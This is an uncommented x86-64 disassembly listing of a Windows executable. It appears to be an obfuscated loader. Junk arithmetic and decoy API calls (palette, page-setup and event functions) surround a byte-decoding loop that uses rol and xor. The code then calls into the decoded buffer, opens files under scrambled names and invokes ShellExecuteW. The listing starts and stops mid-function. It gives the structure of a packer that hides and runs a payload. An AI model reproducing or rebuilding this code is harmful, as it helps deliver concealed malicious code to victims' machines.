mov rcx, qword [rsp + 0x41a8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x55c]
movsx ecx, word [rsp + 0xf10]
add eax, ecx
mov rcx, qword [rsp + 0x278]
mov word [rcx], ax
movzx eax, word [rsp + 0x1640]
movzx ecx, word [0x1400fc530]
sub eax, ecx
mov word [0x1400fd808], ax
mov rax, qword [rsp + 0x2668]
mov qword [rsp + 0x3358], rax
mov rax, qword [rsp + 0x4198]
mov rcx, qword [rsp + 0xa70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2628], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.HEkOgzWo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5af8], rax
mov rax, qword [rsp + 0x22b0]
mov rcx, qword [rsp + 0x41a0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3300]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x224]
sar eax, cl
mov word [rsp + 0x55c], ax
mov rax, qword [rsp + 0x2668]
mov qword [rsp + 0x3370], rax
mov rax, qword [rsp + 0x10a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6a4]
add eax, ecx
mov word [rsp + 0x1644], ax
mov rax, qword [rsp + 0x10b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2ca]
sub eax, ecx
mov byte [rsp + 0x3f4], al
mov rax, qword [rsp + 0x41a8]
mov rcx, qword [rsp + 0x3308]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x41b0], rax
mov rax, qword [rsp + 0x2630]
mov rcx, qword [rsp + 0x5340]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb90], eax
mov rcx, qword [rsp + 0x41b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call fcn.140003f90
imul eax, eax, 0xd3
add eax, 0xdad1d9a7
mov dword [rsp + 0x10f8], eax
mov rax, qword [rsp + 0x618]
mov rax, qword [rax]
mov rcx, qword [0x1400fd320]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x22b8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x4fc]
movsx ecx, word [rsp + 0x1dd4]
shl eax, cl
mov rcx, qword [0x1400fd278]
mov word [rcx], ax
mov rax, qword [0x1400fd7a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x150]
add eax, ecx
mov word [rsp + 0x564], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6d72
mov rcx, qword [rsp + 0x5348]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x33c0], eax
mov eax, dword [rsp + 0x2778]
movzx ecx, al
mov eax, dword [rsp + 0x13e8]
sar eax, cl
mov rcx, qword [rsp + 0x41d0]
mov dword [rcx], eax
mov dword [rsp + 0x21d0], 0x7b
mov rcx, qword [rsp + 0x41c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x19c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2c9]
sub eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0xc90]
mov rcx, qword [rsp + 0x5350]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x19c0], rax
mov rax, qword [rsp + 0x22c8]
mov rcx, qword [rsp + 0x5358]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x22c0]
mov qword [rcx], rax
mov rax, qword [0x1400fd818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x933], al
mov eax, dword [rsp + 0x9f8]
mov rcx, qword [rsp + 0x3310]
mov qword [rsp + 0x5360], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5360]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x21e0], eax
mov rax, qword [rsp + 0x2d90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6a0]
xor eax, ecx
mov rcx, qword [rsp + 0x5368]
mov word [rcx], ax
mov dword [rsp + 0x21c0], 0x9551232e
movzx eax, word [rsp + 0x114]
mov rcx, qword [rsp + 0xc88]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1400fd4f0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.OOBqS1i9wz1WYYgYHYjEIyApHB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5b00], rax
mov rax, qword [0x1400fd9d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5370]
mov qword [rsp + 0x5378], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5378]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10b8], rax
mov eax, dword [rsp + 0x21c0]
sub eax, 0x954cc2a9
mov dword [rsp + 0x21c0], eax
mov rcx, qword [rsp + 0x5380]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13ec], eax
mov rax, qword [rsp + 0x2638]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3318]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3320]
mov word [rcx], ax
movsx eax, word [rsp + 0x1648]
mov rcx, qword [rsp + 0x41c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf14], ax
mov rax, qword [0x1400fd548]
mov rcx, qword [rsp + 0x1518]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3328]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5388]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3f5], al
mov rax, qword [rsp + 0x5390]
mov eax, dword [rax]
add eax, dword [rsp + 0x21d4]
mov dword [rsp + 0xdf0], eax
mov rax, qword [rsp + 0x19b8]
mov rcx, qword [rsp + 0x3330]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x768]
mov qword [rcx], rax
mov eax, dword [rsp + 0x21c0]
cmp dword [rsp + 0x21d0], eax
jae 0x140051f05
mov rax, qword [rsp + 0x1ad0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2d88]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf18], ax
mov rax, qword [0x1400fd370]
mov rcx, qword [rsp + 0x9c0]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fc408], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x9d7e
mov rcx, qword [rsp + 0x2c60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4368], eax
mov rax, qword [rsp + 0x1520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x934]
sub eax, ecx
mov byte [rsp + 0x230], al
mov eax, dword [rsp + 0x1988]
mov rcx, qword [rsp + 0x1d40]
mov qword [rsp + 0x5398], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5398]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x41d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3358]
movzx eax, byte [rax]
mov byte [rsp + 0x2c8], al
mov rax, qword [rsp + 0x3338]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x364]
xor eax, ecx
mov rcx, qword [rsp + 0x41d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3340]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d8], ax
mov rcx, qword [rsp + 0x3348]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x277c], eax
mov rax, qword [rsp + 0x19a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x935]
or eax, ecx
mov byte [rsp + 0x92], al
mov eax, dword [rsp + 0x8d8]
mov ecx, dword [rsp + 0x10f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb8c], eax
mov rax, qword [rsp + 0x22c8]
mov rcx, qword [0x1400fd3e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x41e0]
mov qword [rcx], rax
movzx ecx, byte [rsp + 0x10f8]
movzx eax, byte [rsp + 0x2c8]
rol al, cl
mov byte [rsp + 0x2c8], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xad8
mov rcx, qword [rsp + 0x2d80]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2780], eax
movsx eax, word [rsp + 0xf1c]
movsx ecx, word [rsp + 0x258]
sub eax, ecx
mov word [rsp + 0x25c], ax
movzx eax, word [rsp + 0x70]
mov rcx, qword [0x1400fd2a0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1400fd5d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1528]
mov rcx, qword [rsp + 0x41e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2640], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5b08], rax
movzx eax, byte [rsp + 0x2c8]
xor eax, dword [rsp + 0x10f8]
mov byte [rsp + 0x2c8], al
mov rax, qword [rsp + 0xb20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfa8]
add rax, qword [rcx]
mov qword [rsp + 0x2d78], rax
mov rax, qword [0x1400fd400]
mov rcx, qword [rsp + 0x2d70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3350], rax
movsx eax, word [rsp + 0x8c4]
movsx ecx, word [rsp + 0x168]
and eax, ecx
mov rcx, qword [rsp + 0x2c68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c70]
mov rcx, qword [rsp + 0x41f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d68], rax
mov rax, qword [rsp + 0x22d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x22d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11f], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x36cd
mov rcx, qword [rsp + 0x2c78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21c4], eax
mov rax, qword [rsp + 0x3370]
movzx ecx, byte [rsp + 0x2c8]
mov byte [rax], cl
mov rax, qword [rsp + 0x41f8]
mov rcx, qword [0x1400fd6d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x53a0]
mov qword [rsp + 0x53a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x53a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2784], eax
movzx eax, byte [rsp + 0x54d]
movzx ecx, byte [rsp + 0x1c0]
xor eax, ecx
mov rcx, qword [rsp + 0x2d60]
mov byte [rcx], al
movsx eax, word [0x1400fd674]
mov rcx, qword [rsp + 0x7e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc494], ax
mov rcx, qword [rsp + 0x4200]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0xbe0]
movzx ecx, word [rsp + 0x8c8]
add eax, ecx
mov rcx, qword [rsp + 0x4208]
mov word [rcx], ax
movzx eax, word [rsp + 0x164c]
movzx ecx, word [0x1400fd808]
sub eax, ecx
mov word [rsp + 0x69c], ax
mov rax, qword [rsp + 0x3358]
inc rax
mov qword [rsp + 0x3358], rax
mov rax, qword [rsp + 0x22e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb0]
add rax, qword [rcx]
mov qword [rsp + 0x22e8], rax
mov rax, qword [0x1400fd6d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb88]
shr eax, cl
mov dword [rsp + 0x9f8], eax
mov rax, qword [rsp + 0x2d58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x231]
and eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x3360]
mov rcx, qword [rsp + 0x19a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x2660
mov rcx, qword [rsp + 0x2648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4364], eax
mov rax, qword [rsp + 0x3370]
inc rax
mov qword [rsp + 0x3370], rax
mov rcx, qword [rsp + 0x2c88]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x33bc], eax
mov rax, qword [0x1400fd350]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x368]
add eax, ecx
mov rcx, qword [rsp + 0x278]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1650]
sub eax, ecx
mov rcx, qword [rsp + 0x1530]
mov word [rcx], ax
mov rax, qword [0x1400fd600]
mov rcx, qword [rsp + 0x1738]
mov qword [rsp + 0x53b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x53b0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1400fd310], rax
movzx eax, word [rsp + 0x1654]
mov rcx, qword [rsp + 0xdd0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1538]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d50]
mov rcx, qword [rsp + 0x2650]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1370], rax
mov rax, qword [rsp + 0x22f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1f0]
sar rax, cl
mov qword [rsp + 0x1540], rax
mov eax, dword [rsp + 0x10f8]
add eax, 0xa283
mov dword [rsp + 0x10f8], eax
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2c98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x2d48]
mov rcx, qword [rsp + 0x3378]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2d40]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdc73
mov rcx, qword [rsp + 0x53b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13f0], eax
mov rax, qword [rsp + 0x2658]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54e]
and eax, ecx
mov byte [rsp + 0x232], al
mov eax, dword [0x1400fc384]
mov ecx, dword [rsp + 0x21c8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1730]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1548]
mov qword [rsp + 0x53c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x53c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x21cc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5b10], rax
imul eax, dword [rsp + 0x10f8], 0xc9ab
mov dword [rsp + 0x10f8], eax
movsx eax, word [rsp + 0x464]
movsx ecx, word [rsp + 0xbdc]
add eax, ecx
mov word [0x1400fd1dc], ax
movsx eax, word [0x1400fd2c0]
mov rcx, qword [rsp + 0x2660]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1658]
movzx ecx, word [rsp + 0x698]
and eax, ecx
mov word [rsp + 0xbd8], ax
mov eax, dword [rsp + 0x21d0]
add eax, 0xa91
mov dword [rsp + 0x21d0], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x594e
mov rcx, qword [rsp + 0x4218]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9e8], eax
mov rax, qword [rsp + 0x22f8]
movzx eax, word [rax]
mov rcx, qword [0x1400fd890]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3380]
mov word [rcx], ax
movsx eax, byte [rsp + 0x936]
movsx ecx, byte [rsp + 0x54f]
shl eax, cl
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x53d0]
mov rcx, qword [rsp + 0x2300]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4220], rax
jmp 0x1400517aa
mov eax, dword [rsp + 0x1a50]
movzx ecx, al
mov eax, dword [rsp + 0x21d4]
shr eax, cl
mov dword [rsp + 0x21d8], eax
mov rcx, qword [rsp + 0x1728]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x8cc]
mov qword [rsp + 0x5b18], rax
movzx eax, word [rsp + 0x28c]
movzx ecx, word [0x1400fd6b8]
sub eax, ecx
mov word [rsp + 0x1dd0], ax
mov rax, qword [rsp + 0x2668]
add rax, 0x6a
mov qword [rsp + 0x5440], rax
mov rax, qword [rsp + 0x2ca0]
mov qword [0x1400fda08], rax
lea rax, [rsp + 0x2308]
mov qword [rsp + 0x5b20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.dYCBLlkJm7vjNH7yVJuW0jV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5b28], rax
mov qword [rsp + 0x5448], 0x61822
mov rax, qword [rsp + 0x1d38]
mov rax, qword [rax]
add rax, qword [rsp + 0x1d30]
mov qword [rsp + 0x1d28], rax
mov rax, qword [rsp + 0x53d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3388]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3390]
movzx eax, word [rax]
mov word [rsp + 0x353c], ax
mov rax, qword [rsp + 0x53e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x13f4], eax
lea rax, [rsp + 0x5d10]
mov qword [rsp + 0x5438], rax
mov rax, qword [rsp + 0x1998]
movzx eax, byte [rax]
mov byte [rsp + 0x223c], al
mov rax, qword [rsp + 0x1d20]
mov rax, qword [rax]
mov qword [rsp + 0x53e8], rax
movabs rax, 0x72927b16c80c9a
cmp qword [rsp + 0x53e8], rax
je 0x14005208a
jmp 0x1400520ad
mov rax, qword [rsp + 0x2d38]
mov rcx, qword [rsp + 0x2ca8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4228]
mov qword [rcx], rax
jmp 0x140052111
mov rax, qword [rsp + 0x2cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xfb0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2cb8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x53f0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2788], eax
mov eax, dword [rsp + 0x8d4]
mov dword [0x1400fda10], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2db2
mov rcx, qword [rsp + 0x4230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21dc], eax
lea rcx, [rsp + 0x5438]
call qword [rsp + 0x2668]
lea rax, [rsp + 0x490]
mov qword [rsp + 0x5b30], rax
movsx eax, word [rsp + 0x165c]
mov rcx, qword [rsp + 0x2310]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf20], ax
movzx eax, word [rsp + 0x1dcc]
mov rcx, qword [rsp + 0x2670]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dc8], ax
mov rax, qword [rsp + 0xfa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1188]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x53f8], rax
mov rax, qword [rsp + 0x2678]
mov ecx, dword [rsp + 0x660]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x21e0], eax
mov rcx, qword [rsp + 0x2d28]
call qword [sym.imp.GDI32.dll_RealizePalette]
mov dword [rsp + 0x10fc], eax
mov rax, qword [rsp + 0xd50]
mov rax, qword [rax]
mov rcx, qword [0x1400fc540]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1400fd400]
mov qword [rcx], rax
mov edx, dword [rsp + 0x13f8]
mov ecx, dword [rsp + 0x8d0]
call fcn.140054c50
mov rax, qword [rsp + 0x530]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x81]
sar eax, cl
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x3d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb8], eax
lea rcx, [rsp + 0x5ef0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x1100], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x538]
movzx r9d, byte [rax]
movzx r8d, word [rsp + 0x6c]
mov rax, qword [0x1400fd138]
mov edx, dword [rax]
mov ecx, dword [rsp + 0xa4]
call fcn.140054db0
movzx eax, byte [0x1400fd132]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x190]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x538]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x2a8]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x78]
call fcn.140053dc0
jmp 0x140052338
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0xfb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x74]
shl eax, cl
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0xa0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x208], eax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x98]
or eax, ecx
mov word [rsp + 0x64], ax
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0x3c8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x340]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x58]
movzx ecx, byte [rsp + 0x60]
sub eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x278]
movzx ecx, word [rax]
call fcn.140053ed0
jmp 0x14005241c
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x320]
mov rdx, qword [rsp + 0x1f8]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x1400523cc
mov r8, qword [rsp + 0x1f8]
mov rax, qword [rsp + 0x200]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0x6c]
call fcn.1400548d0
jmp 0x14005241c
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x70]
and eax, ecx
mov rcx, qword [0x1400fd160]
mov word [rcx], ax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd0]
shl eax, cl
mov word [rsp + 0x54], ax
mov rax, qword [rsp + 0x770]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x98], ax
lea rdx, [rsp + 0x5408]
mov rcx, qword [rsp + 0x5400]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [rsp + 0x278c], eax
mov rax, qword [rsp + 0x188]
mov rcx, qword [0x1400fc390]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3d8]
mov qword [rcx], rax
mov r9d, SHGetNewLinkInfoW
mov r8, qword [rsp + 0x5408]
mov edx, 0x4f
mov rcx, qword [rsp + 0x5b38]
call qword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [rsp + 0x208], eax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x120]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x1e8]
mov qword [rsp + 0x5410], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5410]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x620]
mov qword [rcx], rax
mov rdx, qword [rsp + 0x3398]
mov ecx, 0xef
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov dword [rsp + 0x208], eax
mov rax, qword [rsp + 0x3e0]
mov rcx, qword [rsp + 0x540]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x328]
sar rax, cl
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x298]
movzx r9d, byte [rax]
movzx r8d, word [rsp + 0x88]
mov rax, qword [rsp + 0x340]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x3c8]
call fcn.140054db0
jmp 0x1400526fd
movzx eax, byte [rsp + 0x58]
movzx ecx, byte [rsp + 0x59]
and eax, ecx
mov dword [rsp + 0x33b4], eax
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x51]
mov dword [rsp + 0x33b8], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x33b8]
idiv ecx
mov ecx, dword [rsp + 0x33b4]
cmp ecx, eax
jl 0x140052648
movzx eax, word [rsp + 0x84]
mov rcx, qword [rsp + 0x2a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc398], ax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
add rax, qword [rsp + 0x120]
mov qword [rsp + 0x1f8], rax
mov eax, dword [rsp + 0xa4]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x340]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0xa4]
mov edx, dword [rsp + 0x20c]
mov rax, qword [rsp + 0x340]
mov ecx, dword [rax]
call fcn.140053f20
mov rax, qword [rsp + 0x328]
mov rcx, qword [rsp + 0x120]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
jmp 0x1400526fd
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x98]
mov dword [rsp + 0x33b0], ecx
movsx edx, word [0x1400fd140]
movzx ecx, dl
mov edx, dword [rsp + 0x33b0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14005269e
movsx eax, word [rsp + 0x7c]
movsx ecx, word [rsp + 0x1e0]
and eax, ecx
mov word [rsp + 0x64], ax
jmp 0x1400526fd
mov dword [rsp + 0x28], ILAppendID
mov rax, qword [rsp + 0x3398]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x3630]
mov r8, qword [rsp + 0x2318]
mov rdx, qword [rsp + 0x2318]
mov rcx, qword [rsp + 0x5b40]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0x5b48], rax
mov r8d, dword [rsp + 0xa0]
movzx edx, word [rsp + 0xd4]
mov ecx, dword [rsp + 0xa4]
call fcn.140054780
movsx eax, word [rsp + 0xc0]
movsx ecx, word [rsp + 0x98]
shl eax, cl
mov rcx, qword [rsp + 0x278]
mov word [rcx], ax
mov rax, qword [rsp + 0x180]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x358]
movzx r9d, byte [rax]
movzx r8d, word [0x1400fc398]
mov rax, qword [rsp + 0x320]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0xa0]
call fcn.140054a20
mov rax, qword [rsp + 0x540]
mov rcx, qword [rsp + 0x1f0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
shl eax, cl
mov word [rsp + 0x5c], ax
lea rdx, [rsp + 0x33ac]
lea rcx, [rsp + 0x33a8]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x2790], eax
call fcn.1400545e0
jmp 0x1400527c5
movsx eax, word [rsp + 0x7c]
movsx ecx, word [rsp + 0xc0]
or eax, ecx
mov word [rsp + 0x54], ax
mov rax, qword [rsp + 0x298]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x340]
mov ecx, dword [rax]
call fcn.1400541f0
mov eax, dword [rsp + 0xb8]
movzx ecx, al
